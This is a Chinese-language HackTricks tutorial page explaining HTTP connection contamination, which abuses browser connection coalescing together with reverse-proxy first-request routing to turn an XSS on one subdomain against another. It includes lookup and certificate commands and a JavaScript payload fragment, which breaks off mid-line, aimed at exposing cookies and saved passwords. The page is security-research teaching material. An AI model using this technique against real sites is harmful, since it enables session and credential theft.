# HTTP连接污染
☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
**本文内容摘自** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination)\*\*\*\*
Web浏览器使用[**HTTP连接合并**](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing),允许它们为发送到**不同网站**的请求**重用**一个**HTTP/2+连接**,前提是这些网站**解析到相同的IP地址**并使用适用于两个主机名的TLS证书。
**首次请求路由**是一种危险的反向代理行为,代理分析连接上的**第一个请求**以确定将其路由到**哪个后端**,然后将该连接上的所有**后续请求**发送到**同一个后端**。
**连接合并和首次请求路由不兼容**。例如,假设secure.example.com和wordpress.example.com都位于一个反向代理后面,使用一个对\*.example.com有效的证书:
```shell-session
$ nslookup wordpress.example.com
52.16.179.7 // reverse proxy that supports HTTP/2 and does first-request routing
$ nslookup secure.example.com
52.16.179.7 // same reverse proxy
$ openssl s_client -connect x.portswigger-labs.net:443
subject=/CN=*.example.com // wildcard TLS certificate
```
如果浏览器尝试发送一个请求到`wordpress.example.com`,然后是`secure.example.com`,浏览器连接合并将强制将这两个请求通过单个连接发送到前端。首次请求路由将导致将请求发送到`secure.example.com`的错误路由到WordPress后端。这意味着,如果你在`wordpress.example.com`上发现了[XSS](https://portswigger.net/web-security/cross-site-scripting),你可以利用它来危害`secure.example.com`!
```javascript
// create HTTP/2+ connection
fetch('https://wordpress.example.com/', {credentials: 'include'})
// connection coalescing will force this down the same connection...
// ...leading to the front-end misrouting it to WordPress
// the browser thinks our injected JS is coming from secure.example.com
// exposing saved passwords, cookies, etc.
location='https://secure.example.com/plugin/x?q=